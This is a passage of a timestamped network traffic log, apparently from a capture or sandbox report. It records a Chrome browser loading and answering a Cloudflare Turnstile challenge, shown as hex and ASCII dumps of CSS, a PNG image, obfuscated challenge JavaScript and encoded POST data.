#overrun-text,.size-compact #timeout-text{display:block}.size-compact #expired-refresh-link,.size-compact #timeout-refresh-link,.size-compact .error-message a{margin:0
2025-03-25 19:31:10 UTC	1369	IN	Data Raw: 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 74 65 72 6d 73 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 70 78 7d 23 74 65 72 6d 73 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 3a 30 20 2e 32 72 65 6d 7d 23 74 65 72 6d 73 20 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 23 74 65 72 6d 73 20 61 2c 23 74 65 72 6d 73 20 61 3a 6c 69 6e 6b 2c 23 74 65 72 6d 73 20 61 3a 76 69 73 69 74 65 64 7b 63 6f Data Ascii: {margin-left:0;margin-right:16px}#terms{color:#232323;display:inline-flex;font-size:8px;font-style:normal;justify-content:flex-end;line-height:10px}#terms .link-spacer{margin:0 .2rem}#terms a{display:inline-block}#terms a,#terms a:link,#terms a:visited{co

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:11 UTC	784	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:11 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:11 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9260d3bd5e1c83d0-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 19:31:11 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:11 UTC	772	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9260d3b3580828c9&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:11 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:11 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 115636 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 9260d3bd4a3b8ce8-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 19:31:11 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 43 75 55 53 37 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 Data Ascii: window._cf_chl_opt.CuUS7={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsi
2025-03-25 19:31:11 UTC	1369	IN	Data Raw: 68 6f 6f 74 69 6e 67 25 32 30 67 75 69 64 65 6c 69 6e 65 73 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 74 75 63 6b 25 32 30 68 65 72 65 25 33 46 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 Data Ascii: hooting%20guidelines","turnstile_overrun_description":"Stuck%20here%3F","testing_only":"Testing%20only.","turnstile_timeout":"Timed%20out","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%
2025-03-25 19:31:11 UTC	1369	IN	Data Raw: 53 75 63 63 65 73 73 25 32 31 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 67 75 69 64 65 6c 69 6e 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 4a 2c 65 4d 2c 65 4e 2c 65 4f 2c 65 52 2c 65 55 2c 65 57 2c 65 58 2c 65 59 2c 66 61 2c 66 6d 2c 66 73 2c 66 74 2c 66 75 2c 66 45 2c 66 50 2c 66 Data Ascii: Success%21","turnstile_refresh":"Refresh"},"polyfills":{"feedback_report_output_subtitle":false,"feedback_report_guideline":false,"feedback_report_aux_subtitle":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eO,eR,eU,eW,eX,eY,fa,fm,fs,ft,fu,fE,fP,f
2025-03-25 19:31:11 UTC	1369	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 78 71 74 74 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 75 59 71 6a 64 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 47 75 74 57 46 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 3d 69 7d 2c 27 44 45 4f 69 73 27 3a 67 4b 28 34 32 39 29 2c 27 44 62 6a 71 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 4c 64 63 4a 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 67 67 4e 77 76 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 46 4b 4e 6d 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 Data Ascii: ){return i\|h},'xqttU':function(h,i){return h-i},'uYqjd':function(h,i){return h(i)},'GutWF':function(h,i){return h!==i},'DEOis':gK(429),'DbjqD':function(h,i){return h>i},'LdcJT':function(h,i){return h\|i},'ggNwv':function(h,i){return h-i},'FKNmK':function(h
2025-03-25 19:31:11 UTC	1369	IN	Data Raw: 4b 5d 3d 45 2b 2b 2c 42 5b 4b 5d 3d 21 30 29 2c 4c 3d 43 2b 4b 2c 4f 62 6a 65 63 74 5b 67 4d 28 32 35 37 29 5d 5b 67 4d 28 32 31 39 29 5d 5b 67 4d 28 38 36 31 29 5d 28 78 2c 4c 29 29 43 3d 4c 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 67 4d 28 32 35 37 29 5d 5b 67 4d 28 32 31 39 29 5d 5b 67 4d 28 38 36 31 29 5d 28 42 2c 43 29 29 7b 69 66 28 32 35 36 3e 43 5b 67 4d 28 31 33 34 36 29 5d 28 30 29 29 7b 69 66 28 67 4d 28 31 35 31 30 29 21 3d 3d 64 5b 67 4d 28 32 37 32 29 5d 29 72 65 74 75 72 6e 21 5b 5d 3b 65 6c 73 65 7b 66 6f 72 28 73 3d 30 3b 64 5b 67 4d 28 31 33 34 30 29 5d 28 73 2c 46 29 3b 48 3c 3c 3d 31 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 67 4d 28 31 32 38 29 5d 28 64 5b 67 4d 28 37 39 32 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b Data Ascii: K]=E++,B[K]=!0),L=C+K,Object[gM(257)][gM(219)][gM(861)](x,L))C=L;else{if(Object[gM(257)][gM(219)][gM(861)](B,C)){if(256>C[gM(1346)](0)){if(gM(1510)!==d[gM(272)])return![];else{for(s=0;d[gM(1340)](s,F);H<<=1,I==j-1?(I=0,G[gM(128)](d[gM(792)](o,H)),H=0):I++
2025-03-25 19:31:11 UTC	1369	IN	Data Raw: 5b 67 4d 28 31 32 38 38 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 67 4d 28 31 32 38 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 44 2d 2d 2c 44 3d 3d 30 26 26 28 44 3d 4d 61 74 68 5b 67 4d 28 31 30 39 37 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 50 3d 69 28 64 5b 67 4d 28 36 38 31 29 5d 2c 64 5b 67 4d 28 37 33 30 29 5d 29 2c 51 3d 6a 5b 67 4d 28 31 31 35 30 29 5d 28 64 5b 67 4d 28 31 31 30 37 29 5d 29 2c 51 2e 69 64 3d 64 5b 67 4d 28 32 37 34 29 5d 2c 51 5b 67 4d 28 31 33 33 35 29 5d 3d 4a 28 67 4d 28 31 32 32 32 29 29 2c 52 3d 6f 5b 67 4d 28 31 31 35 30 29 5d 28 27 61 27 29 2c 52 5b 67 4d 28 38 31 30 29 5d 3d 64 5b 67 4d 28 33 36 33 29 5d 2c 52 2e 69 64 Data Ascii: [gM(1288)](I,j-1)?(I=0,G[gM(128)](o(H)),H=0):I++,M>>=1,s++);}D--,D==0&&(D=Math[gM(1097)](2,F),F++),delete B[C]}else P=i(d[gM(681)],d[gM(730)]),Q=j[gM(1150)](d[gM(1107)]),Q.id=d[gM(274)],Q[gM(1335)]=J(gM(1222)),R=o[gM(1150)]('a'),R[gM(810)]=d[gM(363)],R.id
2025-03-25 19:31:11 UTC	1369	IN	Data Raw: 32 34 34 29 5d 28 61 63 5b 67 4d 28 31 38 32 29 5d 28 58 29 29 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 7d 66 6f 72 28 4d 3d 32 2c 73 3d 30 3b 64 5b 67 4d 28 31 33 34 30 29 5d 28 73 2c 46 29 3b 48 3d 48 3c 3c 31 7c 31 26 4d 2c 64 5b 67 4d 28 31 33 31 33 29 5d 28 49 2c 64 5b 67 4d 28 31 39 32 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 67 4d 28 31 32 38 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 48 3c 3c 3d 31 2c 49 3d 3d 64 5b 67 4d 28 31 32 37 39 29 5d 28 6a 2c 31 29 29 7b 69 66 28 64 5b 67 4d 28 31 30 36 31 29 5d 28 67 4d 28 35 30 36 29 2c 67 4d 28 35 30 36 29 29 29 7b 47 5b 67 4d 28 31 32 38 29 5d 28 64 5b 67 4d 28 31 31 35 35 29 5d 28 6f 2c 48 29 29 3b 62 72 65 61 6b Data Ascii: 244)](ac[gM(182)](X));continue}break}}for(M=2,s=0;d[gM(1340)](s,F);H=H<<1\|1&M,d[gM(1313)](I,d[gM(192)](j,1))?(I=0,G[gM(128)](o(H)),H=0):I++,M>>=1,s++);for(;;)if(H<<=1,I==d[gM(1279)](j,1)){if(d[gM(1061)](gM(506),gM(506))){G[gM(128)](d[gM(1155)](o,H));break
2025-03-25 19:31:11 UTC	1369	IN	Data Raw: 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 50 28 31 30 39 37 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4c 3d 64 5b 67 50 28 39 30 31 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 64 5b 67 50 28 31 34 33 32 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 67 50 28 31 33 32 35 29 5d 28 30 3c 4c 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 64 5b 67 50 28 31 33 37 36 29 5d 28 65 2c 4a 29 2c 4d 3d 42 2d 31 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 50 28 31 30 39 37 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 64 5b 67 50 28 37 33 32 29 5d 28 46 2c 4b 29 3b 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 64 5b 67 50 28 33 36 34 29 5d 28 30 2c 48 29 26 26 28 Data Ascii: r(J=0,K=Math[gP(1097)](2,8),F=1;F!=K;L=d[gP(901)](G,H),H>>=1,d[gP(1432)](0,H)&&(H=j,G=o(I++)),J\|=d[gP(1325)](0<L?1:0,F),F<<=1);s[B++]=d[gP(1376)](e,J),M=B-1,x--;break;case 1:for(J=0,K=Math[gP(1097)](2,16),F=1;d[gP(732)](F,K);L=H&G,H>>=1,d[gP(364)](0,H)&&(
2025-03-25 19:31:11 UTC	1369	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 42 2c 43 29 7b 72 65 74 75 72 6e 20 42 2b 43 7d 2c 27 52 69 4c 4d 50 27 3a 66 75 6e 63 74 69 6f 6e 28 42 2c 43 29 7b 72 65 74 75 72 6e 20 42 2b 43 7d 2c 27 48 69 63 49 74 27 3a 67 53 28 37 34 38 29 2c 27 4b 47 49 5a 4e 27 3a 67 53 28 38 32 32 29 7d 29 3b 74 72 79 7b 6a 3d 69 5b 67 53 28 31 35 31 36 29 5d 28 65 50 2c 66 5b 67 53 28 35 37 34 29 5d 2c 66 5b 67 53 28 39 34 31 29 5d 29 2c 66 5b 67 53 28 35 37 34 29 5d 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 3f 66 5b 67 53 28 35 37 34 29 5d 3d 4a 53 4f 4e 5b 67 53 28 39 37 34 29 5d 28 66 5b 67 53 28 35 37 34 29 5d 2c 4f 62 6a 65 63 74 5b 67 53 28 31 33 30 37 29 5d 28 66 5b 67 53 28 35 37 34 29 5d 29 29 3a 66 5b 67 53 28 35 37 34 29 5d 3d 4a 53 4f 4e 5b 67 53 28 39 37 34 29 Data Ascii: :function(B,C){return B+C},'RiLMP':function(B,C){return B+C},'HicIt':gS(748),'KGIZN':gS(822)});try{j=i[gS(1516)](eP,f[gS(574)],f[gS(941)]),f[gS(574)]instanceof Error?f[gS(574)]=JSON[gS(974)](f[gS(574)],Object[gS(1307)](f[gS(574)])):f[gS(574)]=JSON[gS(974)
2025-03-25 19:31:11 UTC	1369	IN	Data Raw: 31 32 38 31 29 5d 5b 67 54 28 38 37 37 29 5d 28 27 5c 6e 27 29 2c 6a 5b 67 54 28 31 34 32 34 29 5d 3e 31 29 26 26 28 6b 3d 2f 5e 5c 73 2a 61 74 5c 73 2b 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c 64 2b 29 2f 2c 6c 3d 6a 5b 31 5d 5b 67 54 28 34 30 30 29 5d 28 6b 29 2c 6c 26 26 28 67 3d 6c 5b 31 5d 2c 68 3d 65 5b 67 54 28 31 32 32 34 29 5d 28 70 61 72 73 65 49 6e 74 2c 6c 5b 32 5d 2c 31 30 29 2c 69 3d 70 61 72 73 65 49 6e 74 28 6c 5b 33 5d 2c 31 30 29 29 29 3a 67 54 28 32 38 34 29 3d 3d 3d 67 54 28 32 38 34 29 3f 66 3d 4a 53 4f 4e 5b 67 54 28 39 37 34 29 5d 28 64 29 3a 28 6f 3d 74 68 69 73 2e 68 5b 65 5b 67 54 28 37 38 35 29 5d 28 32 33 35 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 5e 65 5b 67 54 28 31 31 34 36 29 5d 28 32 35 2b 74 68 69 73 2e 68 5b 32 33 35 2e 34 36 Data Ascii: 1281)][gT(877)]('\n'),j[gT(1424)]>1)&&(k=/^\s*at\s+(.+):(\d+):(\d+)/,l=j[1][gT(400)](k),l&&(g=l[1],h=e[gT(1224)](parseInt,l[2],10),i=parseInt(l[3],10))):gT(284)===gT(284)?f=JSON[gT(974)](d):(o=this.h[e[gT(785)](235,this.g)][3]^e[gT(1146)](25+this.h[235.46

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:11 UTC	425	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:12 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:12 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 9260d3c12bd4dafc-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 19:31:12 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-25 19:31:12 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1508658919:1742927278:z_aNGfIfLJjNL8ToPFbBPCgzZQ4rbRYFaGlpBUN6bH0/9260d3b3580828c9/BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtU HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3367 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: BY_vxH6VpaOP5P6jIcqv17hXoM8pj7JXYI3L_Hdm170-1742931069-1.1.1.1-offWZGlS9rStSq6f6Leqm08C4XvFX.Lxusrrk3quAb4skinp2uaDlLc5T783xEtU cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/9um0h/0x4AAAAAAAkvxTyKLHQmjib-/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 19:31:12 UTC	3367	OUT	Data Raw: 46 6b 6e 6a 7a 6a 35 6a 62 6a 6e 6a 4e 51 68 4d 51 68 43 6a 51 70 31 6f 4f 66 51 48 68 4f 68 47 64 70 6c 4a 44 68 75 5a 6f 6a 4c 44 31 5a 68 79 68 41 44 4f 6f 24 44 32 35 72 24 68 48 44 6c 24 68 52 68 46 77 6a 68 7a 5a 6a 68 34 6c 68 34 33 6b 32 45 68 62 6e 6d 5a 5a 24 6c 44 31 63 68 2d 70 31 47 68 62 73 2d 70 68 55 68 31 57 50 68 58 55 52 56 69 68 31 35 42 51 6b 6c 45 6a 31 72 68 57 55 5a 67 55 5a 72 44 70 31 6f 43 59 59 2b 30 6c 7a 54 44 38 68 2d 2d 44 78 58 5a 4a 24 6f 62 68 68 72 69 24 56 4f 51 61 42 5a 4f 66 35 45 48 66 58 46 56 66 43 4e 43 46 45 31 68 32 43 34 32 44 38 33 48 66 68 62 2d 6a 68 4e 44 32 61 31 51 6b 68 4c 70 68 69 36 47 6b 68 31 4b 4e 67 56 68 68 76 31 68 68 56 75 4a 4e 4e 75 38 68 55 68 6c 4b 72 6f 55 70 75 31 68 68 4d 68 31 6d 6f 56 Data Ascii: Fknjzj5jbjnjNQhMQhCjQp1oOfQHhOhGdplJDhuZojLD1ZhyhADOo$D25r$hHDl$hRhFwjhzZjh4lh43k2EhbnmZZ$lD1ch-p1Ghbs-phUh1WPhXURVih15BQklEj1rhWUZgUZrDp1oCYY+0lzTD8h--DxXZJ$obhhri$VOQaBZOf5EHfXFVfCNCFE1h2C42D83Hfhb-jhND2a1QkhLphi6Gkh1KNgVhhv1hhVuJNNu8hUhlKroUpu1hhMh1moV
2025-03-25 19:31:12 UTC	1091	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 19:31:12 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 230872 Connection: close cf-chl-gen: p/z5dg0pp2z1yTpNKIvKBZM5H1DpBXZw78gjQDdhrNVCDrOSz+WGodQhv9QdU8WzaTksH2y1DIg2mRaaiEDlbjZIc5A+0O6RQ3fEvlYL16C8s1OTQ7lXdZOd2awrOxQWCPkDbdOnuz8c5y01tbs1ZOtKFCdWQ8KdV+ujHi9fzm5ioaElsJB/nIPxfehm/KxcZSbBFYRDntbGZZpJTNgsy7ktUTLHsZM7to+i3fLYBtf0BwYk8vX07QapS/kSa4LFTMYcEYSSrT8yu6c25o5S9m2EndEoSm2+zyx/z1mS3JN8JC+OO7iig6f3xBveuDYF+YpfmmO/rwLhuOP7t2jUw4QN3ex8fCWHi3MzLVY5+lmTgpuLDEBR25wX5JDYgO6o0aqXPAi5RXFhOE9G7bQl8tq1RWFjBzPwSlG035KvkQkaKZ5qLaVDjQr2ekB/IQ4HaYGwmiVIA7mnx6zwZ+joyNffHWHV5NwINrzXScgICdAO3iXaM9EqTVvTNVdMB4wjl0AdfU6z305FhYQVIEl7twlofx9Bkm50QXeU4AQR+/Hff7juN+RECDEh1RuUSBGsMBjj7HTVGoOCGJuZkBqNn2ZQO1t+9FBNYuKSgb1+ON2+YdbTHSHy+Ef2GSfFnA1zy4JqaEwuNBM+U3W3AlI4NXXPhPK24CtWIrzT1wgnyGm8IQ1I+2FBDiZALjlzzayZbqVY1YI9bNSZdRcnee9QdiWuEf0OJ7AmqcHaIiZnWEru7Ij+TXYZ++6gyXh9pNwsE+E3I89e4qU2ZeuPFTGFu7vUpvM4Uu1ipgqUJomn0A5kg3ULQ0gPw/z8spcRpmPK$H6L6h3gMcng227TpcsRFyQ== Server: cloudflare CF-RAY: 9260d3c1eb96c324-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 19:31:12 UTC	278	IN	Data Raw: 51 31 56 5a 56 57 78 4c 5a 6d 6d 46 69 6f 36 4d 64 45 31 50 68 35 70 4e 61 34 39 59 6d 33 64 30 59 6e 68 57 62 5a 75 45 6b 71 5a 2f 59 33 79 6f 65 34 32 6c 6e 4a 2b 62 66 59 4f 50 6c 49 6d 6d 6c 5a 4e 30 64 48 71 66 69 71 75 64 6a 34 32 7a 6e 4d 58 44 77 49 4b 46 68 62 69 6f 77 62 2f 43 72 63 65 70 71 37 4b 7a 7a 38 54 46 73 62 4b 6c 30 75 44 50 30 37 32 62 33 39 79 66 78 71 48 56 79 64 2f 42 7a 4d 6e 4e 7a 64 7a 54 76 37 43 73 72 39 66 43 36 63 7a 76 33 65 7a 51 38 2b 48 71 33 77 54 37 37 65 4b 2b 79 41 48 47 41 63 58 39 35 51 4d 45 35 2f 48 2b 37 51 76 6b 34 41 58 78 42 77 59 52 45 52 6e 31 48 4e 50 67 45 68 4c 76 41 68 45 56 48 52 72 33 41 64 38 46 35 76 6e 36 43 69 63 56 38 67 30 53 36 67 34 6e 45 50 4d 58 4e 45 45 38 4b 69 76 37 51 68 4e 44 51 43 4a Data Ascii: Q1VZVWxLZmmFio6MdE1Ph5pNa49Ym3d0YnhWbZuEkqZ/Y3yoe42lnJ+bfYOPlImmlZN0dHqfiqudj42znMXDwIKFhbiowb/Crcepq7Kzz8TFsbKl0uDP072b39yfxqHVyd/BzMnNzdzTv7Csr9fC6czv3ezQ8+Hq3wT77eK+yAHGAcX95QME5/H+7Qvk4AXxBwYRERn1HNPgEhLvAhEVHRr3Ad8F5vn6CicV8g0S6g4nEPMXNEE8Kiv7QhNDQCJ
2025-03-25 19:31:12 UTC	1369	IN	Data Raw: 52 58 50 55 70 63 4b 55 49 64 48 56 45 33 49 31 49 6d 52 69 52 6e 4a 6b 56 71 4c 45 77 39 4b 44 78 75 54 55 31 4b 63 6b 31 78 57 32 6b 30 58 7a 63 2f 63 6d 30 38 62 6b 4e 78 68 48 52 79 64 55 64 33 52 34 43 51 6a 57 78 39 67 57 56 4e 67 48 64 31 64 6f 78 35 61 6d 65 62 6b 31 5a 79 66 6e 6d 6b 58 32 56 2b 67 6e 52 70 70 61 57 74 5a 4b 68 75 71 34 4f 43 74 58 36 76 62 62 53 6a 6b 4c 69 75 64 6e 6d 32 6e 36 39 2f 6e 4a 2b 34 6b 5a 32 35 73 5a 36 34 78 6f 53 6f 78 4e 48 49 75 37 76 54 31 59 6a 4e 70 39 65 54 72 74 7a 62 6d 4c 65 73 31 62 66 4d 6d 36 2b 64 6f 64 36 7a 31 38 65 6b 35 4d 7a 4f 76 4c 48 63 30 65 66 6f 37 